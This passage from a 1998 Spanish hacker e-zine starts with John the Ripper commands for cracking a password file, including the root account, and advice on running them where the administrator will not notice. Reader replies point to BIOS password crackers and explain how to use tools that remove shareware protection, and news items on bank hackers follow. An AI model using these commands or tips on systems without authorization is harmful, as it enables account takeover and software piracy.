es que consume mucha CPU por lo que como el root vea los procesos os
pillaran, os lo mataran y encima estara bajo aviso) por lo que a no ser que
tengais acceso a una maquina que sepais que el root no esta muy al loro, no
useis este metodo, pero buscando y con un poco de suerte al final
encontrareis una maquina con estas caracteristicas.
Para usar el john the ripper suponiendo que el fichero de pa°words
se llama pa°wd se haria:
John -single pa°wd ------ Asi saca los pa°wd mas sencillos
John -wordfile:nombrediccionario -rules pa°wd -:Para emplear un diccionario
John -wordfile:nombrediccionario -rules -users:0 pa°wd -:Para emplear un
diccionario para sacar el root.
Este programa ofrece muchisimas posibilidades por lo que para mas
informacion leerse los docs que se adjuntan con el propio john the ripper.
Nota De - J.J.F. / HACKERS TEAM -: La segunda parte de este articulo en el
siquiente numero.
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
⁄-----------------ø
< EL LECTOR OPINA >
¿-----------------Ÿ
Aqui con nuestra nueva seccion responderemos a las preguntas que nos
que nos enviais por mail. Asi todos pueden ver la respuesta. Esperemos que
se de vuestro agrado y que esta seccion se convierta en algo interesante
para todos.
Esperamos que tambien que seais vosotros (los propios lectores) que
nos envies mail's contestando a las preguntas de otros lectores, asi
consiguiremos una seccion muy activa y prospera para todos ;-)
<---------------------------------------------------------------------------->
From avillalo@xxxxxxxxxxxxxx Fri Feb 20 11:50:54 1998
To: conde_vampiro@hotmail.com
Subject: Clave Maestra
Hola estimado conde Vanmpiro por medio de este imail
quisiera preguntarte si sabes o as visto en alguna
parte de la RED, la combinacion de teclas
conocidas popularmente como: Clave Maestra Unica
(Version GA.04.06 de ROM BIOS Pc's HP Vectra 486).
Te agradecere cualquier comentario al respecto
Nota : Hewlett Packard niega la existencia de este
tipo de clave maestra, sin embargo ya comprobe
su existencia y me lo mostraron pero no me
quisieron dar la combinacion.
SALUDOS
avillalo@xxxxxxxxxxxxxx
<------>
[ Pues lo primero mi nick se escribe Vampiro :)
Supongo lo que preguntas es como acceder a la BIOS, pues facil. Cuando
el ordenador este cargando la memoria (justo al principio de encenderlo)
pulsamos "ESC" o "SUPR" (depende el ordenador) y accederas al menu de la
BIOS. Si esta tuviese algun pa°word que no conoces le metes un
crackeador de BIOS (disponibles en nuestro web) y ya esta.
Como advertencia te dire que si manipulas la BIOS y estropeas algo, la
garantia no sera valida y tendras que pagar por repararlo. ]
<---------------------------------------------------------------------------->
Date: Tue, 24 Feb 1998 11:42:17 MDT
From: "frank" <crazy@xxxxxxxxxxxxxx>
To: conde_vampiro@usa.net
Subject: Hola
Hola otra vez, conde te aseguro no traigo ajos ni nada parecido, bueno
he visto tu rinkon de wes y nostamal, yo en mi modesta posicion de
observador tengo que decir que !!!!ME GUSTARIA TENER UNA
PAGINAAAAA!!!!!, espero que cuando pueda hacerla (te digo quel diseqo
yasta hecho) mayudes con temas de ... (tu ya mentiendes), lo que no se
es de donde podria colgar una pagina asi, enviame un mailcito para ver
donde podria, toy aki: fperet@xxxxxxxxxxxxxx
bueno espero que me des alguna respuesta, y si no pues que lo pases
guay.
HASTA LA VISTA, BABY....
<------>
[ Pues thx por tus cumplidos pero nosotros no nos dedicamos a buscar
sitios para albergar web's ademas tampoco es dificil encontrar estos
servidores pero esta vez hare una excepcion pero no os acostumbreis !!
- www.geocities.com
- www.angelfire.com
- www.islatortuga.com
- www.netaddre°.usa.net
- www.bayside.net ]
<---------------------------------------------------------------------------->
Date: Sun, 22 Feb 1998 17:13:52 MDT
From: Miguel Angel Ramirez <vermar1@xxxxxxxxxxxxxx>
To: mac_crack@usa.net Cc: conde_vampiro@usa.net
Subject: Pidiendo informacion
Hola Amigos!
Les escribo de Jalisco y realmente creo que su pagina
es muy buena, pero creo que eso ya se los han dicho,
asi que pasare al motivo de mi correo.
Lo que pasa es que he bajado los archivos de Nonag2 y
Nagbuster, lo que se encargan de anular los codigos
de proteccion del shareware, pero resulta que no
tengo idea de como hacerlos funcionar, para que
desactiven esos codigos. Por ejemplo, con el nonag2,
trato de correr el ejecutable y me dice que necesito
especificar un directorio,pero no encuentro manera de
hacer eso. Por lo mismo quisiera ver si es posible
que me escriban un correo explicandome como funcionan
estos programas. De ante mano les agradezco su
informacion. Hasta la vista.
===
Puede escribir una copia de su correo tambien a
vermar@xxxxxxxxxxxxxx
<------>
[ Pues facil ;-)
- el Nonag2 tienes que ejecuatarlo de la siguiente manera :
c:\>nonag2 <fichero_que_quieras_modificar>
- Y el Nag-Buster, solo tienes que ejecutar el :
c:\>buster
y accederas a un menu, y las 2 primeras opciones son los listados los
cuales el Nag-Buster les quita la proteccion.
Bueno pues espero que tus dudas esten aclaradas. La verdad es que muchas
veces estos programas no rulan bien, ademas solo suelen funcionar con
programas antiguos, por lo que es recomendable que busces algun
crack especifico para el programa que quieras 'alterar'. ]
<---------------------------------------------------------------------------->
Subject: hpola
To: jjf_team@hotmail.com
Date: Tue, 24 Feb 1998 10:30:11 MET
From: 444525@xxxxxxxxxxxxxx
BUenas,hackers..
Os escribo pa felicitarospor vuestra revista..es bastante buenecilla.. y pa
deciros ke sigais kon ella adelante,ke lo normal es ir kada vez a mas..y ke
si los primero snumeros son tan buenos entonces.. ;)
Bueno,tan bienm os escribo pa haceros una preguntilla...a ver,pa subir un
archivo a una kuenta ke tengo..eske por ftp no puedo entrar...y otra kosa...
hotmail es tan seguro komo parece?
Gracias.tios.
red rUsH
<------>
[ Thx por la felicitacion e intentamos mejorar cada numero, como te habras
dado cuenta en este numero ;-)
Por ftp no te deja ?? pues has intentado usar el kermit, por ejemplo ?
si tampoco no rula, pues envialo por mail como un "adjunto" a tu cuenta
y listos.
Lo de Hotmail, pues por lo visto ha sido adquirido por Microsoft pero
segun la compañia todo seguira igual. Aqui hay 2 puntos de vista, por una
parte puede que no sea seguro pero al igual Microsoft tampoco puede
meterse en estos lios si vigila el Hotmail, ya que esta metido en varios
pleitos, o sea que tu decides.
Nosotros hemos cambiado de cuenta de mail, por varios motivos ( uno de
ellos, es ese :). ]
<---------------------------------------------------------------------------->
Date: Thu, 26 Feb 1998 23:13:59 MDT
From: "asesino" <asesino@xxxxxxxxxxxxxx>
Holas paseando he caido en vuestra wes , me ha parecido buena pero
hecho en falta que los e-zines esten en un zip comprimidos para
ahorrarme leerlos onlines por los cuartos del telefono , el ezine
toavia no me ha dao tiempo a leerlo asi que no digo na. Por lo demas
seguid asi que esto esta muy bien , ahh otro consejito pillad pgp pa
encriptar el mail asi no os leeran el correo y pones las llaves
publicas en la web , usad la version 263.i que genera claves rsa que
son mas seguras que la 5 para windows , bueno bye
bueno hay va mi llave publica pal que la quiera :
Type Bits/KeyID Date User ID
pub 2048/44D3E411 1998/02/26 asesino <asesino@arrakis.es>
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i
mQENAzT1dBUAAAEIANaRs9pMeaQD8rUNMSLQ8yTvCb4N7VmNO4mOO00n/He+tzHx
12kI4GCwR0aoQbUjj30WPzR73BINc7ebaJ5lr7bsZVtx+QfHQVJajt2WhMdvwkuU
OO8p7G1YRkjZbr48eUg83IuRTTV67ULKPwyJfecg/biFIyJMiC4Mxq0qj8ixsPKA
G7P/Sx729b78S2O23ZsjAemAJndMkD9GNBOtZM294SwJYm+pHfUC0+Jh2z0l2kjg
E9THZ2lyrA8lFFkoz9UmTNG7wHJ3CYxEmBLtofro0n8pDBidnsfe9UGrq4HJtj9Z
4emp6rr6q/7nFvxwrNpBHw1Gkxn5iJzPDkTT5BEABRG0HGFzZXNpbm8gPGFzZXNp
bm9AYXJyYWtpcy5lcz6JARUDBRA09XQViJzPDkTT5BEBAcm9B/9pq2vTq9vbpW91
qdIbpz07ae7Ea3mmh4WA0y7/ANvDkGAgwPyZ1CpX3KjkIkfRCiO8buoRH2lPKYi6
yA95r8slrp0°ElnguIQN6/yulV50jfOsvBB9PrrMg7YIzTtjLqiF7p0QQE8zAce
ehmSHy3m19Gk3offow1jeFdHwEwIn3JsMsBnU4WM6UaWXXitqWSc0s7HeEQYP1wj
fB33cmFYbpPZoKSaAoeb0/sA8NlKicD/nCtarwDdqH+2iPP3NGGaBpzMZzXH6JUA
+s0EUapB2/3Mm1kXXU6FuC9qSYC+fCo9wor+mnUpwp3cSpjI9jV62CrfXkV4IAC8
YJ/MTb88
=4SJA
-----END PGP PUBLIC KEY BLOCK-----
<------>
[ Primero no nos interesa poner el ezine en zip por el momento, ya que asi
es "llegar y leer" (nuevo concepto informatico, que estamos intentando
que sea estandarizado por la ISO }:-), la verdad es que lo preferimos asi.
Ademas la idea es de pillarlo y lo lees en tu ordenador off-line o como
mas te guste y donde sea sin ningun problema.
Segundo, de pgp ya sabemos un rato y tenemos ambas versiones que comentas,
de porque no estan las llaves en el web?? facil, no las hemos puesto,
pero thx de todas formas y esperamos seguir en esta linea con el web y el
ezine :) ]
<---------------------------------------------------------------------------->
From: "Ramon Muntane" <rmuntane@xxxxxxxxxxxxxx>
To: <jjf_team@hotmail.com>
Subject: ayuda
Date: Sat, 28 Feb 1998 22:51:00 +0100
->buenas noches. Necesitaria, si ustedes quieren hacer el favor de intentar
crakear una pagina web, es la siguiente WWW.CONECTA.ES/CEEB muchas gracias
<------>
[ Como te lo podria decir para que lo entiendas??, hhhaaaa si, acaso
tenemos pinta de delincuentes ?? porque eso es delito y nosotros
"cumplimos la ley" }:-), la proxima vez que quieras enviar un mail
como este, OLVIDATE DE NOSOTROS, okis ? ]
<---------------------------------------------------------------------------->
Date: Mon, 02 Mar 1998 16:45:47 MDT
From: "Fernando_Julian_Cejas" <fcejas@xxxxxxxxxxxxxx>
To: Subject: Soy_fanatico_de_ustedes_compadres?
Me llamo Fernando y desde la primera vez que entre en la pagina me gusto
muchisimo.
Que tengan mucha suerte y un gran saludo
FERNANDO
<------>
[ Thx a ti por tu apoyo con nosotros ;-)
Y esperamos que sigas siendo fan nuestro y si te animas nos escribes
algun articulo.
Saludos de - J.J.F. / HACKERS TEAM - ]
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
------------------------
- NOTICIAS UNDERGROUND -
------------------------
- J.J.F. / HACKERS TEAM -
<---------------------------------------------------------------------------->
RECOMPENSA POR UN HACKER QUE ENTRO EN UN BANCO ALEMAN.
Date: Sat, 17 Jan 1998 14:10:26 -0500
La compañia bancaria alemana Noris Verbraucherbank, ofrecia el sabado
unos 10.000 o 5.800 marcos, por la captura de un Hacker que amenazaba con
revelar los codigos secretos de los clientes del banco.
Este peculiar Hacker exigia un millon de marcos del banco, despues de
que este cogiera unos 500.000 marcos de las cuentas del banco y accediendo
a una amplia informacion confidencial, dijo la policia.
Amenaza con revelar esta informacion confidencial, obtenida mediante
la copia de los ordenadores en 2 sucursales, si el banco no paga sus
exigencias.
El Bild Daily publico una foto del hacker el sabado, nostrando un
hombre con una edad entre 25 y 35, llevando gafas redondas. La foto fue
tomada por un cajero automatico.
Noris Verbrauckerbak es una banca privada adquirida en 1997 por otra
compañia bancaria, la Bayerische Vereinsbank. Tiene unas 70 sucursales por
el pais.
<---------------------------------------------------------------------------->
HACKER ACUSADO DE ACTOS HACKING VALORADOS EN $3,7 MILLONES DE DOLARES.
NEW YORK, Jan. 23 (UPI).
Un hacker ruso de 30 años sera condenado a 5 años de carcel y por lo
menos unos $250,000 dolares en multas por haber sustraido unos $4 millones
de dolares en Citibank.
La abogada americana Mary Jo White dijo que Vladimir Leonidovich
Levin consiguio acceso a los ordenadores del banco desde San Petersburgo,
Ru°ia, usando un programa bancario especial para robar el dinero.
Levin admitio que transfirio $3,7 millones de las cuentas de los
clientes hacia otras cuentas controladas por el y otros camaradas. Levin
sera juzgado el 24 de Febrero.
Levin entro en las cuentas bancarias mediante un servicio llamado
Financial Institutions Citibank Case Manager, que Citibank creo en 1994
para permitir a sus clientes transferir fondos desde sus cuentas a otras
instituciones financieras en cualquier lugar del mundo.
Los clientes tienen que meter un codigo de identificacion y una
contraseña para conseguir el acceso a este servicio.
Levin uso el programa por lo menos unas 18 veces durante el verano
de 1994 para conseguir acceso en las cuentas de los clientes. Luego
transferia los fondos a cuentas que el o sus camaradas controlaban en
Finlandia, los Estados Unidos, Holanda, Alemania e Israel.
Nota : Sobre este hacker ya hubo un articulo en el numero 2.
<---------------------------------------------------------------------------->
EL PRIMER HACKER RUSO SENTENCIADO A ...
YUZHNO-AKHALINSK, January 19 (Itar-Ta°)
Un juzgado en Yuzhno Sakkalinsk en el lejano Este, sentencio el lunes
al primer hacker ruso acusado por sus actos delictivos y culpables de ello,
a 3 años en periodo de prueba, dijeron las autoridades de seguridad locales.
Por otro lado, el Hacker a sido multado con 200 salarios minimos
(unos 2,800 dolares) y tambien a sido obligado a pagar 1,770 (unos 300
dolares) a los trabajadores perjudicados por sus actos, dijo la fuente de
la informacion.
Una investigacion sobre los actos hacking en los sistemas informaticos
afectados y una ley que refuerze el cumplimiento de estas normas, fueron
comenzados en Mayo, dijo el, añadiendo que los encargados de seguridad
garantizan evidencias criminales de que un estudiante universitario esta
envuelto en entrar en el sistema informatico y pillar informacion de los
clientes de Sakhmail.
El Hacker copio informacion comercial e informacion confidencial,
pero el juzgado no pudo demostrar que vendio esta informacion. Sin embargo,
los encargados de la seguridad esperan que la sentencia haga reflexionar
a los intrusos antes de entrar en un sistema informatico sin permiso alguno.
<---------------------------------------------------------------------------->
BILL GATES RECIBE UNA TARTA EN PLENO ROSTRO, EN BRUSELAS.
"Nada aplazara el lanzamiento del Windows 98 en junio", decia ayer
Bill Gates, presidente de Microsoft. El rey de la informatica no tuvo que
esperar tanto para que otro lanzamiento, el de una tarta, hiciera diana en
su cara y le amargara su visita a Bruselas. El atentado pastelero fue
reivindicado por el showman Noul Godin, especialista en estos saraos, que
ya tuvo como victimas al cineasta Godard y al filosofo Bernard-Henri Luvy.
El ataque a la crema tuvo lugar cuando el magnate iba a dar una conferencia,
y en el participaron una treintena de personas. Cuatro tartas salieron por
los aires, y una le dio de lleno a Gates, que no presentara denuncia.
Nota : Texto enviado por nuestro lector Cesar.
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
Bueno aqui se acaba nuestro tercer numero y espero que os halla
gustado, como a nosotros hacerlo. Y como seguro haveis podido apreciar
en cada numero vamos cogiendo mas soltura con lo que producimos un ezine
de mejor calidad para todos los gustos. Y como aperitivo os dire que ya
hemos empezado el numero 4 y promete tener articulos muy suculentos para
todos los hackers, logicamente no sabemos la fecha de salidad del 4 por lo
que tendreis que esperar, pero hasta dentro de un par de meses nada de
nada (pero en ese periodo de tiempo iran saliendo otras cosas en el
web ;-).
Como siempre digo y nunca parare en repetirme, si quieres decirnos algo,
escribir un articulo (que estaria muy bien por vuestra parte :),
criticarnos, sugerencias o cualquier cosa que nos quieras comentar,
escribe a:
jjf_team@usa.net
ADIOS Y HASTA EL SIGUIENTE NUMERO!!!
- J.J.F. / HACKERS TEAM -
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=